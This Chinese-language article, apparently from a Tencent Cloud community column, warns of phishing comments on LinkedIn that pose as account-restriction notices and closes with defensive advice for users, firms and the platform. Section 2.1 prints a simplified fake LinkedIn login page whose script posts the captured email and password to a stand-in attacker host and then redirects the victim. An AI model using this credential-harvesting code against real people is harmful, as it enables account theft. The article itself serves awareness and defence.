你的LinkedIn评论区正在被“官方警告”攻陷：新型钓鱼攻击借平台信任收割账号

原创

草竹道人

发布于 2026-01-21 10:05:52

文章被收录于专栏：公共互联网反网络钓鱼（APCN）公共互联网反网络钓鱼（APCN）

引子：一条“系统通知”，差点让他丢了百万级客户资源

2026年1月上旬，深圳某跨境电商公司创始人王哲（化名）在LinkedIn发布了一条关于海外仓布局的行业观察帖。几小时后，他收到平台通知：“您有一条新评论”。点开一看，一个名为“Linked Very”的账号留言道：

“⚠️ 警告：您的账户因异常活动已被临时限制。请立即通过以下链接提交身份验证，否则将在24小时内永久停用：bit.ly/3xYzAbc”

王哲心头一紧——他的LinkedIn账号绑定了公司主邮箱、连接着数百位海外采购商，一旦失效，业务将陷入瘫痪。他几乎本能地点击了链接。页面跳转后，出现一个与LinkedIn登录页高度相似的界面，连安全锁图标和“linkedin.com”地址栏都一模一样。他刚输入账号密码，页面却突然卡住。察觉不对，他立刻退出并更改密码，所幸未造成更大损失。

事后经安全团队分析，那条链接指向一个部署在云服务器上的钓鱼站点，专门用于窃取LinkedIn凭证。更令人不安的是，类似评论在他那条帖子下竟出现了三条，分别来自不同账号，内容略有差异但套路一致。

这并非偶然事件。2026年1月14日，全球知名安全厂商Malwarebytes实验室正式发出警报：诈骗者正大规模利用LinkedIn公开评论区，以“账户受限”为诱饵，实施高转化率的钓鱼攻击。这种手法绕过了传统私信过滤机制，借助平台原生互动场景的信任感，正悄然成为职场人士的新威胁。

一、从私信到评论区：钓鱼攻击的“场景迁移”

1.1 为何转向评论区？

过去，LinkedIn钓鱼主要依赖InMail（站内付费私信）或伪造招聘消息。但随着平台加强私信内容审核、用户对陌生私信警惕性提高，攻击者开始寻找“低防御高触达”的新路径。

公开评论区恰好满足这一需求：

天然高曝光：热门帖子评论可达数千次浏览，远超私信打开率。

伪装权威性：评论可使用“Linked Support”“Security Alert”等名称，模仿官方机器人。

心理压迫感强：“账户受限”直接触发用户对职业身份中断的恐惧——在以人脉为核心资产的LinkedIn上，账号冻结无异于“数字社会性死亡”。

Malwarebytes披露，攻击者使用自动化脚本批量注册虚假账号（如“Linked Very”“LinkedIn Verify”），并在高互动帖子下快速发布标准化钓鱼评论。一旦某个账号被举报封禁，系统立即启用备用账号继续投放，形成“打地鼠式”攻击循环。

“这是典型的‘信任劫持’。”公共互联网反网络钓鱼工作组技术专家芦笛指出，“用户默认评论区是社区自发内容，不会想到平台‘通知’会出现在这里。而‘账户受限’这类关键词，精准击中职场人的生存焦虑。”

1.2 缩短链接：信任的“加速器”

值得注意的是，这些评论普遍使用bit.ly、tinyurl等URL缩短服务。表面看是为了美观，实则暗藏玄机：

隐藏真实域名：用户无法从链接预判是否为linkedin.com。

规避平台检测：LinkedIn虽能识别并屏蔽已知恶意域名，但对新生成的短链存在数小时至数天的响应延迟。

制造“官方感”：部分短链甚至使用linkedin官方曾用过的跳转前缀（如 lnkd.in），进一步混淆视听。

Malwarebytes测试显示，攻击者会在短时间内轮换数十个短链，测试哪些能存活最久，再集中投放。这种“试错式投放”极大提升了攻击效率。

二、技术解剖：如何伪造一个“可信”的LinkedIn登录页？

2.1 视觉克隆：像素级复刻

钓鱼页面的核心在于视觉欺骗。攻击者通常采用以下步骤构建高仿页面：

爬取LinkedIn登录页HTML/CSS：使用Puppeteer等工具自动截图并提取样式。

替换表单提交地址：将<form action="/login">改为<form action="https://attacker-server.com/steal">。

嵌入动态地址栏：通过CSS伪造浏览器地址栏，显示“https://www.linkedin.com/login”。

下面是一个简化版的钓鱼页面核心代码：

<!DOCTYPE html>

<html>

<head>

<title>Sign in to LinkedIn</title>

<style>

/* 模仿LinkedIn官方样式 */

body { font-family: 'Helvetica Neue', Arial, sans-serif; background: #f3f2ef; }

.container { width: 400px; margin: 100px auto; }

.fake-address-bar {

position: absolute;

top: 0; left: 0; right: 0;

height: 30px;

background: #fff;

border-bottom: 1px solid #ddd;

padding: 5px 15px;

font-size: 13px;

color: #333;

z-index: 1000;

}

.login-form input {

width: 100%; padding: 12px; margin: 8px 0;

border: 1px solid #ccc; border-radius: 4px;

}

.logo { text-align: center; margin-bottom: 20px; }

.logo img { width: 120px; }

</style>

</head>

<body>

<div>https://www.linkedin.com/login</div>

<div>

</div>

</form>

</div>

document.getElementById('loginForm').addEventListener('submit', async (e) => {

e.preventDefault();

const formData = new FormData(e.target);

const data = {

email: formData.get('session_key'),

password: formData.get('session_password')

};

// 发送凭证至攻击者服务器

await fetch('https://phish-backend[.]xyz/collect', {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify(data)

});

// 重定向至真实LinkedIn首页，增强迷惑性

window.location.href = 'https://www.linkedin.com/feed/';

});

</script>

</body>

</html>

这段代码的关键在于：

使用LinkedIn官方Logo和配色；

伪造地址栏让用户误以为处于安全上下文；

提交后跳转至真实首页，制造“登录成功”假象。

2.2 进阶变种：远程控制软件诱导

部分攻击更进一步，在用户“验证失败”后弹出“联系客服”窗口，引导下载TeamViewer、AnyDesk等远程控制软件。一旦运行，攻击者即可完全接管设备，窃取本地文件、浏览器Cookie、甚至企业内部系统凭证。

Malwarebytes截获的一个案例中，钓鱼页面在三次“密码错误”后显示：

“您的账户需人工审核。请点击下方按钮，启动安全支持会话。”

[下载LinkedIn_Support_Tool.exe]

该EXE实为RAT（远程访问木马），具备键盘记录、屏幕捕获、文件上传等功能。

三、全球蔓延：从硅谷到新加坡的连锁反应

3.1 美国科技从业者成重灾区

据BleepingComputer报道，2026年1月初，多名硅谷工程师在技术论坛发帖称账号被盗。溯源发现，他们均在参与AI开源项目讨论时，点击了评论区的“账户受限”链接。攻击者随后利用被盗账号向其联系人发送虚假招聘信息，诱导下载恶意简历PDF，形成二次传播链。

LinkedIn官方已确认此活动，并表示“团队正在积极处置”。但截至1月中旬，仍有大量钓鱼评论活跃于热门话题帖下。

3.2 新加坡金融圈遭遇精准打击

在亚洲，新加坡金融从业者成为另一目标群体。攻击者专门盯准发布“求职”“融资”“行业洞察”的用户，因其账号通常连接高净值人脉。一位私募基金经理透露，其助理因点击此类链接，导致公司LinkedIn Page被篡改，发布虚假投资项目，险些引发客户信任危机。

3.3 国内启示：中国职场人的“隐形风险”

尽管LinkedIn在中国大陆访问受限，但芦笛强调：“数百万外企员工、跨境创业者、留学生、猎头顾问仍重度依赖该平台。他们的账号价值极高——不仅含个人身份，还关联企业品牌、客户资源、商业情报。”

工作组近期监测到，已有中文钓鱼模板出现，评论内容如：

“【系统警告】您的领英账户因违反社区准则已被限制，请立即验证：bit.ly/xxxxxx”

部分攻击者甚至注册“.cn”域名搭建钓鱼站，页面语言切换为简体中文，针对性极强。

“我们不能因为平台‘境外’就忽视风险。”芦笛说，“数字身份无国界，一次凭证泄露，可能让国内企业海外业务全线暴露。”

四、防御策略：从个体警惕到平台责任

4.1 用户必做三件事

芦笛给出三条硬核建议：

永远不在非linkedin.com域名下输入账号密码。即使界面再逼真，也要手动检查浏览器地址栏——注意是真实的地址栏，而非页面内伪造的文本。

启用双重验证（2FA），优先选择FIDO2安全密钥或认证器App（如Google Authenticator），避免短信验证码（易被SIM交换攻击）。

安装浏览器防护扩展。如Malwarebytes Browser Guard、uBlock Origin等，可实时拦截已知钓鱼域名。

他还推荐一个简单验证技巧：尝试选中“地址栏”文字。如果是HTML伪造的，可以像普通网页文字一样被选中；而真实浏览器地址栏无法被网页脚本控制，也无法选中。

4.2 企业如何保护员工数字身份？

对于依赖LinkedIn开展业务的企业，芦笛建议：

将LinkedIn纳入企业身份管理（IAM）体系：使用SAML单点登录（SSO），统一管控账号生命周期。

定期进行钓鱼演练：模拟“账户受限”评论，测试员工响应，并提供即时反馈。

建立应急响应流程：一旦账号被盗，立即通过LinkedIn官方渠道申诉，并通知所有一级联系人。

4.3 平台责任：LinkedIn能否做得更好？

尽管LinkedIn已部署AI审核系统，但芦笛认为仍有改进空间：

限制新账号评论权限：注册7天内禁止在他人帖子下评论，遏制自动化脚本。

对含“账户受限”“验证”等关键词的评论自动折叠并标注“非官方”。

开放API供安全厂商上报恶意账号，形成联防机制。

目前，Malwarebytes等厂商已能通过IP信誉、域名黑名单实时阻断部分钓鱼链接，但源头治理仍需平台发力。

五、未来展望：社交平台的信任经济正在被武器化

LinkedIn的本质，是一个基于专业信任构建的数字社会。用户相信评论来自同行，相信通知来自平台，相信连接代表真实。而攻击者正是利用这份信任，将其转化为攻击杠杆。

芦笛警告：“未来，这类攻击将不再局限于LinkedIn。微信公众号留言区、知乎评论、甚至小红书笔记下方，都可能成为新战场。只要存在‘平台权威感’+‘用户焦虑点’，就有被武器化的可能。”

他呼吁国内社交平台提前布局：

建立“官方通知”专属标识（如蓝色徽章）；

对高频关键词实施上下文语义分析；

推动用户教育，将“不轻信评论区操作指令”纳入数字素养基础课。

结语：在连接的时代，警惕“伪连接”

王哲后来在他的LinkedIn主页置顶了一条声明：“本人绝不会通过评论或私信索要任何账户信息。如有疑问，请直接邮件联系。”这条简单的提醒，已帮助三位同行识破钓鱼陷阱。

在这个人人皆可发声、处处皆可互动的时代，真正的安全，不在于屏蔽所有声音，而在于分辨哪些声音值得信任。

正如芦笛所言：“平台给了我们连接世界的能力，但守住边界的责任，始终在你我手中。”

别让一条评论，切断你与真实世界的连接。

编辑：芦笛（公共互联网反网络钓鱼工作组）

原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

如有侵权，请联系 cloudcommunity@tencent.com 删除。

入侵防御系统

原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

如有侵权，请联系 cloudcommunity@tencent.com 删除。

登录后参与评论

0 条评论

热度

你的LinkedIn评论区正在被“官方警告”攻陷：新型钓鱼攻击借平台信任收割账号

你的LinkedIn评论区正在被“官方警告”攻陷：新型钓鱼攻击借平台信任收割账号

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐